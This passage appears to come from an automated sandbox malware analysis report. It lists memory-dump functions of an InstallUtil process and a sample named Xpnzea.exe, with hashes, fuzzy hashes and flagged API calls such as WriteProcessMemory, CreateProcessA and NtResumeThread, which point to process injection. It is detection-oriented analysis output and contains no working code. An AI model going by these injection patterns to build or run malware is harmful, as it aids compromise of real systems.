Instruction Fuzzy Hash: 45216231E0161ADBDB15DF65D49069EB7B2FF89304F14C519E805EB391EB71E841CB90

Function 00CCD3EC Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1627263431.0000000000CCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ccd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de4abe3ffb97970c1185f634b38b3ec5666ecfbad482db777fe2122a1bc950d7
Instruction ID: 54086de60e8238f2c8665b4960ef582f112fd0371d7770f2f9bec5b878f549ad
Opcode Fuzzy Hash: de4abe3ffb97970c1185f634b38b3ec5666ecfbad482db777fe2122a1bc950d7
Instruction Fuzzy Hash: 6A21F5B2504344EFDB09DF54D9C0F26BB65FB94324F24C57DEA0A0B256C336E856CAA2

Function 026591D1 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4aece3be8230fa2e8ff4cdca916f4a54e6b15a41b14fbb1adff06cf181f3d639
Instruction ID: aa0644d04d4a63f37692b321e19c4192e67f4bfeb89ec4107c9dea78d1f281be
Opcode Fuzzy Hash: 4aece3be8230fa2e8ff4cdca916f4a54e6b15a41b14fbb1adff06cf181f3d639
Instruction Fuzzy Hash: 7A21B375E11215CBDB09CFA4D490ADEB7B2AF89314F108A1AEC16FB340EB709842CB90

Function 02654F50 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 23b9ff2fcfdfa0110435e4232a9985ab4f7ff6fc5c5d850d613314fac0144b48
Instruction ID: 0e07d3c905713f07e48fbdc6ae33b84d0bb598e5ba75bc972683822eb6f3c46c
Opcode Fuzzy Hash: 23b9ff2fcfdfa0110435e4232a9985ab4f7ff6fc5c5d850d613314fac0144b48
Instruction Fuzzy Hash: D821F331A402598FDB58EF78D558AAE77F1EF89304F1044A8E806EB361EB359D01CB91

Function 0248D01C Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1627673492.000000000248D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0248D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_248d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 389799658a8b446fca70d059eb4917ff657c3c755c9258d5e1c340b650f7f3ac
Instruction ID: 47e5db0c492ad819601100d82116afc7ee8aee9c567bebbeef58ae313220cd63
Opcode Fuzzy Hash: 389799658a8b446fca70d059eb4917ff657c3c755c9258d5e1c340b650f7f3ac
Instruction Fuzzy Hash: 5221F571915344EFDB14EF24D980B1ABB65FB85318F24C56AD84A4B386C336D447CE62

Function 026591E0 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a02ce8b51e0bb0ba9da9d3600cea04ce28b6e27aeabcce2e68c9c45633c75f57
Instruction ID: f8cd94d8992f876a226ac9ebe43df3c50ff30fbd464ef5d04821274feb86e61d
Opcode Fuzzy Hash: a02ce8b51e0bb0ba9da9d3600cea04ce28b6e27aeabcce2e68c9c45633c75f57
Instruction Fuzzy Hash: F3216230E11619DBDB19CFA5D494A9EB7B2AF89314F10861AEC15FB380DB71A846CB90

Function 02651452 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ebd8ecb8a7c6aeebcdff7e79fb099c56af98d944fd693c67e7750d8ecbe98426
Instruction ID: f3a202c62bb4af5243b6dab02926aaaf6e4fc0230852a510669c433df9efdfd3
Opcode Fuzzy Hash: ebd8ecb8a7c6aeebcdff7e79fb099c56af98d944fd693c67e7750d8ecbe98426
Instruction Fuzzy Hash: 20219671A102258BDF25EBB895503EE77E9EB49318F2414BADC09E7701E735C842CB95

Function 02651850 Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61b5b511b22a1c28d0c8030cdcdd626fc1326e2f3431551c29cce8ff9a2bbe28
Instruction ID: 93a02d316f75e6188747b05d3df978d4ad3eb4ec86b538ad771e34dbc3749109
Opcode Fuzzy Hash: 61b5b511b22a1c28d0c8030cdcdd626fc1326e2f3431551c29cce8ff9a2bbe28
Instruction Fuzzy Hash: E4213E30B40218CFDB64EB78C5147AE77F2AF8A344F2404A8D90AEB350DB359C41CB91

Function 02651678 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: aefdee70a11d955a79838f744f6264bb8f8fc02fd9645111ce602f9556cee7a3
Instruction ID: 5e973d735c4add6ac1ae19c9b53b833ceb607dca830f2312f081b4a5b879b724
Opcode Fuzzy Hash: aefdee70a11d955a79838f744f6264bb8f8fc02fd9645111ce602f9556cee7a3
Instruction Fuzzy Hash: 7A21C03C2012118BDB22FB7CF8847993359F78AB10F1049A1D80ACB358EBB8DC448B92

Function 02654F60 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7623c553c5bddf356283ccfe71e2b048818203ba2812ecb4d35f3f821261a871
Instruction ID: 4410714ef977d599f0c71b01814a333413f03017dda5e8378910c34e0c17ae2a
Opcode Fuzzy Hash: 7623c553c5bddf356283ccfe71e2b048818203ba2812ecb4d35f3f821261a871
Instruction Fuzzy Hash: C721E630B402158FDB58EF78D558BAE77F1AF88304F1044A8E806EB360DB359D01CB91

Function 02650848 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d61c97550ca720d772e9354503ebee6c1afcaea6cf0af4a777659b2b66feda26
Instruction ID: 5790d539470eed0ec4018cdc588d2a87ef3a21382769a7611e242211ddcaeef7
Opcode Fuzzy Hash: d61c97550ca720d772e9354503ebee6c1afcaea6cf0af4a777659b2b66feda26
Instruction Fuzzy Hash: 30119130B002289BEF64ABB9D454B6A3355FB89714F20897AD817CF341EB69CC818BC1

Function 0248D006 Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1627673492.000000000248D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0248D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_248d000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 025d9a2345bde4a5ff4d58ffb02fb025ae7d1ba8570d773202590843e2418e6f
Instruction ID: 8ac854bfd900dee2ef02549a95dc8081cf8696355f926a3e139b3da4cafa524a
Opcode Fuzzy Hash: 025d9a2345bde4a5ff4d58ffb02fb025ae7d1ba8570d773202590843e2418e6f
Instruction Fuzzy Hash: 7E218075509380DFCB02DF20D990716BF71EB46218F28C5DBD8498F6A7C33A944ACB62

Function 00CCD3E7 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1627263431.0000000000CCD000.00000040.00000800.00020000.00000000.sdmp, Offset: 00CCD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_ccd000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction ID: 72a4cb4b4d4ffd363209a2a78df7b131f7379846e1aa41b337488f23517ef9f9
Opcode Fuzzy Hash: 0d1964494f132f00775c0e221f472ab769a33717f3edcd57285c8181465a4d2f
Instruction Fuzzy Hash: 7811D376504240DFCB05CF10D9C4B16BF72FB94324F24C5ADD9090B656C33AE956CBA2

Function 02651460 Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8945f01943e2b7e62dc46b646bbfbe509f2be0ead1c789f940255412ce7e9bb5
Instruction ID: 245fd9cee635c125c6146fb4b097af6fcbc9f49e55173ff0cbc2807a646eb122
Opcode Fuzzy Hash: 8945f01943e2b7e62dc46b646bbfbe509f2be0ead1c789f940255412ce7e9bb5
Instruction Fuzzy Hash: C3012D31A002259BCF25EFB985503AE7BF9AB49314F2414BADC09E7701E735C942CBD5

Function 02658170 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a239b900ccaa5f5a8c3e36465a3a29b8733af7c13916b5a5dfe7fe51c8ee2db
Instruction ID: b40c7bfb45317ae7140fb214b31bf15b4c96f1e29cbed654c266e8247aab82c5
Opcode Fuzzy Hash: 5a239b900ccaa5f5a8c3e36465a3a29b8733af7c13916b5a5dfe7fe51c8ee2db
Instruction Fuzzy Hash: 51018F74A01249DFDB05EBBCF9516DC7BB2FB80704F0085E9C0059B296EF756B058742

Function 02658180 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1628552276.0000000002650000.00000040.00000800.00020000.00000000.sdmp, Offset: 02650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2650000_InstallUtil.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42fed8ab9f0fb4542a8ccc53e9adeff2e10c285d91241e3be9ebc70d55311064
Instruction ID: 157c9c209b736db6f36f3c7ac291bea9cfe6e3d4c3754ca2cde71dafd6f557cb
Opcode Fuzzy Hash: 42fed8ab9f0fb4542a8ccc53e9adeff2e10c285d91241e3be9ebc70d55311064
Instruction Fuzzy Hash: 00F01934A01209EFDB45FBBCF991ADD77B5FB84600F1086B8C4059B255EF716A049B92

Analysis Process: Xpnzea.exePID: 6876, Parent PID: 4084COMMON

Execution Graph

Execution Coverage:	10%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	375
Total number of Limit Nodes:	38

Executed Functions

Function 0619FCA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 112
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0619FD5D

Strings

cxrl, xrefs: 0619FCCD

Memory Dump Source

Source File: 00000006.00000002.1656832477.0000000006190000.00000040.00000800.00020000.00000000.sdmp, Offset: 06190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6190000_Xpnzea.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: cxrl
API String ID: 2706961497-188254238
Opcode ID: 554ad0a2a684464e0367e348aafcbd3a66701c90de14e7e9af60d58dac34a00a
Instruction ID: dcc8fcc9f35f9ebf1f4ea7b01d626470435922da14a0a5c72568df39daaf0d51
Opcode Fuzzy Hash: 554ad0a2a684464e0367e348aafcbd3a66701c90de14e7e9af60d58dac34a00a
Instruction Fuzzy Hash: 15419AB9D00258AFCF10CFAAD981ADEFBB5BB49310F14942AE814B7310D735A946CF64

Function 0619FCA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0619FD5D

Strings

cxrl, xrefs: 0619FCCD

Memory Dump Source

Source File: 00000006.00000002.1656832477.0000000006190000.00000040.00000800.00020000.00000000.sdmp, Offset: 06190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6190000_Xpnzea.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID: cxrl
API String ID: 2706961497-188254238
Opcode ID: 634bf0805cb8b2f4d8dc604f00e316c3c046313ff8f179e438ce31455cced38c
Instruction ID: 554904e7a0e1d1eec82be99732c612152a8e0015adcfd44c1b85b81da86eb36d
Opcode Fuzzy Hash: 634bf0805cb8b2f4d8dc604f00e316c3c046313ff8f179e438ce31455cced38c
Instruction Fuzzy Hash: 7F4168B5D002589FCF10CFAAD980A9EFBB5BB49310F14942AE819B7310D775A946CF64

Function 061811C1 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 89nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06181256

Strings

cxrl, xrefs: 061811E7

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ResumeThread
String ID: cxrl
API String ID: 947044025-188254238
Opcode ID: 88e807ef3a4c188019a0b23d71e28ca3d55862441d9e972748704a6be4f75a5c
Instruction ID: 3143f68188690819fb26a505a3264b6dce53061b1a3a4ead42e12f67a641cf6e
Opcode Fuzzy Hash: 88e807ef3a4c188019a0b23d71e28ca3d55862441d9e972748704a6be4f75a5c
Instruction Fuzzy Hash: 4531CDB9D01219AFCB10DFAAD981ADEFBF5BB49310F10942AE415B7300C775A942CF94

Function 061811C8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 06181256

Strings

cxrl, xrefs: 061811E7

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ResumeThread
String ID: cxrl
API String ID: 947044025-188254238
Opcode ID: bd4ab725a35ba9d7dd227e5bfb7bfd1df4c1b767b2de6b4c850cde74a5d2e615
Instruction ID: c135316a57d1e7929299c56420f3705a89c579fe4d66de19815288fe66655d5c
Opcode Fuzzy Hash: bd4ab725a35ba9d7dd227e5bfb7bfd1df4c1b767b2de6b4c850cde74a5d2e615
Instruction Fuzzy Hash: 7F31CEB5D01218DFCB10CFAAD981A9EFBF1BB49310F10842AE414B7300C7756901CF94

Function 06023860 Relevance: 2.4, Strings: 1, Instructions: 1180COMMON

Download Yara Rule

Strings

4, xrefs: 06024235

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: fb4744c618309b8c7f5da29e7ee70d3c147246834280b53923d5e5e063b53cc0
Instruction ID: 371d23ffa25e931d7c087925f685652da93ef35a0db2f04d2b0553f4856577de
Opcode Fuzzy Hash: fb4744c618309b8c7f5da29e7ee70d3c147246834280b53923d5e5e063b53cc0
Instruction Fuzzy Hash: B1B20835A402299FDB98CFA8C884BADBBF6BF48700F158595E505EB2A5CB70DD81CF50

Function 06023B87 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 06024235

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: e06351844faacf28edf3c8cbc49943b9250142f33b061ea7ef7b870f019a4e6b
Instruction ID: 93c334944d88c56b0df8d905543d4529fc90470b372e1eea3807c50ba00bf110
Opcode Fuzzy Hash: e06351844faacf28edf3c8cbc49943b9250142f33b061ea7ef7b870f019a4e6b
Instruction Fuzzy Hash: 3922EA34A40229CFDB94DFA4C984BADBBF6BF48300F1585A9E509AB395DB709D81CF50

Function 05FF7FA9 Relevance: 1.5, Strings: 1, Instructions: 255COMMON

Download Yara Rule

Strings

.z, xrefs: 05FF82BF

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID: .z
API String ID: 0-3598656969
Opcode ID: 6b6884c048d5ab9e5218a419725349d3d6f4da39cd803d6a31760307a8a5ffc0
Instruction ID: fb3af27d671ebb6106fc5488a3936342b78372e5a5eb11cc51ad0ee4d08a05ac
Opcode Fuzzy Hash: 6b6884c048d5ab9e5218a419725349d3d6f4da39cd803d6a31760307a8a5ffc0
Instruction Fuzzy Hash: B9B13671E01208CFEB54CFA9D884BADBBF2BF89304F5091A9D509E7661DB785985CF04

Function 02B0C340 Relevance: 1.0, Instructions: 983COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1627766007.0000000002B00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02B00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2b00000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e44389f3d56f131ced23a1bb415f6d4157937052f48fa7bd96630012927e3310
Instruction ID: 306fe9d31d5023c2c4a6d7dee1dae094876b374890deebb47db97647436b28e4
Opcode Fuzzy Hash: e44389f3d56f131ced23a1bb415f6d4157937052f48fa7bd96630012927e3310
Instruction Fuzzy Hash: D9A2B375A00228CFDB65CF69C984B99BBB2FF89304F1581E9D509AB365DB319E81CF40

Function 06026E70 Relevance: .7, Instructions: 656COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656504160.0000000006020000.00000040.00000800.00020000.00000000.sdmp, Offset: 06020000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6020000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 99f3e8843aea696ec1254a86eb5ddc83f9df225def1aec6c391efa45f542e64c
Instruction ID: a7a7e7c421d4435a767570694ebd54d4335b22807baebfbdce0f56e70e195ae2
Opcode Fuzzy Hash: 99f3e8843aea696ec1254a86eb5ddc83f9df225def1aec6c391efa45f542e64c
Instruction Fuzzy Hash: 95426F34B40229CFDB94DF68C894A6EBBF2BF89710B1584A9E506CB361DB71DC81CB51

Function 05FF72F0 Relevance: .3, Instructions: 333COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca42e5572faa592e7ac6da8f8b0b32d24d3e1b3701b3d806813e9f7b9dd4a2a1
Instruction ID: db732d661ea399a53b19cdc072b914175d71da7491e591647a5317e3bdbe1e8c
Opcode Fuzzy Hash: ca42e5572faa592e7ac6da8f8b0b32d24d3e1b3701b3d806813e9f7b9dd4a2a1
Instruction Fuzzy Hash: FEE10275E06218CFEB14EF69D884BADFBB6FF89304F1080A9D509A7661DB785985CF00

Function 05FF72E0 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 862ba04371f3384e99e3b5dcd96a29c9b2d8769f652b71088c22ab313e8a424b
Instruction ID: 3539087737567f117e4349125161f8085707f9bc593a76155f69231fc3f81bb1
Opcode Fuzzy Hash: 862ba04371f3384e99e3b5dcd96a29c9b2d8769f652b71088c22ab313e8a424b
Instruction Fuzzy Hash: 83E1F175D06218CFEB14EF69D884BADFBB2FF88304F1480AAD509A7661DB785985CF00

Function 05FFF805 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 27d94f41d17ea17143801f075257915be474ec9e5889d5b0dfdfd56f661f1c9e
Instruction ID: def0e3f2811ed19f6ea17d10a12c19488006a8f3519e3ee6007b734cc81f7afc
Opcode Fuzzy Hash: 27d94f41d17ea17143801f075257915be474ec9e5889d5b0dfdfd56f661f1c9e
Instruction Fuzzy Hash: C4D1F174A15218CFDB64CF29C884BA9BBF2BF89304F5090A9D50DE7661EB345E84CF14

Function 05FF7509 Relevance: .3, Instructions: 282COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1656329221.0000000005FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 05FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5ff0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc9311fd6cffa06fc34beeb2318cfc4514677f6776507d8cdda2a4d2ae32c842
Instruction ID: 53577a5f1e4679609e388e57411870a5c257faa0a4901357953e3d67bff36c9b
Opcode Fuzzy Hash: dc9311fd6cffa06fc34beeb2318cfc4514677f6776507d8cdda2a4d2ae32c842
Instruction Fuzzy Hash: FFD1EF75E06218CFEB14EFA9D884BADFBB2FF48304F1084A9D509A7661DB785985CF04

Function 064BD8C0 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.1657725165.00000000064A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 064A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_64a0000_Xpnzea.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c594ef5741b935ac34d2dee86589b5ba7d54eb671b300d6f5f2671911c7ffc54
Instruction ID: 37f62a775e01cc99dadfee6ac2b11833ca14b672ecfc05e90338ade20029f5e7
Opcode Fuzzy Hash: c594ef5741b935ac34d2dee86589b5ba7d54eb671b300d6f5f2671911c7ffc54
Instruction Fuzzy Hash: CCD1A374E00218CFDB54DFA9D894B9DBBB2BF89300F1091AAD409AB365DB31AD81CF50

Function 0618052C Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 267
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0618079F

Strings

cxrl, xrefs: 0618059B
cxrl, xrefs: 0618056C

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: CreateProcess
String ID: cxrl$cxrl
API String ID: 963392458-3870225167
Opcode ID: 018d7f779e298dcf43db66021ff317e29858f665b4b307ba6d5e1add62484c1c
Instruction ID: 63ffb84298ef01151c5278d2eae52aa5bdaaf9d0f38346381c4d790e11dfe9c4
Opcode Fuzzy Hash: 018d7f779e298dcf43db66021ff317e29858f665b4b307ba6d5e1add62484c1c
Instruction Fuzzy Hash: 04A102B4D0025CCFDB60DFA9C885BEEBBF1BB49301F149569E858A7280DB748985CF81

Function 06180538 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 261
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessA.KERNELBASE(?,?,?,?,?,?,?,?,?,?), ref: 0618079F

Strings

cxrl, xrefs: 0618059B
cxrl, xrefs: 0618056C

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: CreateProcess
String ID: cxrl$cxrl
API String ID: 963392458-3870225167
Opcode ID: 6c456d6f2934b591df13db128cab660b677a0be3d323a36e4a403ef9deb12938
Instruction ID: 874b30ffe83d23b3b61bd8ed050c4a4537bcdec5bc486e876e88238e8388c0a3
Opcode Fuzzy Hash: 6c456d6f2934b591df13db128cab660b677a0be3d323a36e4a403ef9deb12938
Instruction Fuzzy Hash: 40A102B4D0025CCFDB50DFA9C8857EDBBF1BB49301F149569E858A7280DB748989CF85

Function 06180FA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 119
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06181083

Strings

cxrl, xrefs: 06180FD2

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: cxrl
API String ID: 3559483778-188254238
Opcode ID: 1a70a2cdc4922ae02889d5b6e2bc679b1ea3a9ef139ecce23aa028f6d33910ae
Instruction ID: 065855b9d93b194aab57ecad1276c7c9517121891a525a2fb579a7ec97ea67a5
Opcode Fuzzy Hash: 1a70a2cdc4922ae02889d5b6e2bc679b1ea3a9ef139ecce23aa028f6d33910ae
Instruction Fuzzy Hash: D441ABB5D012589FCB10CFAAD981AEEBBF1BB49310F14942AE818B7200C775AA42CF54

Function 06180FB0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 116
injectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteProcessMemory.KERNELBASE(?,?,?,?,?), ref: 06181083

Strings

cxrl, xrefs: 06180FD2

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: MemoryProcessWrite
String ID: cxrl
API String ID: 3559483778-188254238
Opcode ID: 3ec6aef8d41652165c713463725f703e2b58d1e3cd15b740b70d4d3ffd3d5ee2
Instruction ID: 37a8d814fed82ecaf77c525f955922d83e8aae76d8eb1825de667dedb7774936
Opcode Fuzzy Hash: 3ec6aef8d41652165c713463725f703e2b58d1e3cd15b740b70d4d3ffd3d5ee2
Instruction Fuzzy Hash: CC419AB5D012589FDB00CFAAD984ADEFBF1BB49310F14942AE818B7210D775AA45CF54

Function 06181498 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 105
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(?,?,?,?), ref: 06181544

Strings

cxrl, xrefs: 061814BF

Memory Dump Source

Source File: 00000006.00000002.1656750450.0000000006180000.00000040.00000800.00020000.00000000.sdmp, Offset: 06180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6180000_Xpnzea.jbxd

Similarity

API ID: ProtectVirtual
String ID: cxrl
API String ID: 544645111-188254238
Opcode ID: ce00e386bcf0b0ad440c958077b89a57cecdb332315cb7c77e02d55b81de32cb
Instruction ID: 9cfacf7d1007059ec9172df73c3fec833349598bbc6d79e0b3c96170b2af4559
Opcode Fuzzy Hash: ce00e386bcf0b0ad440c958077b89a57cecdb332315cb7c77e02d55b81de32cb
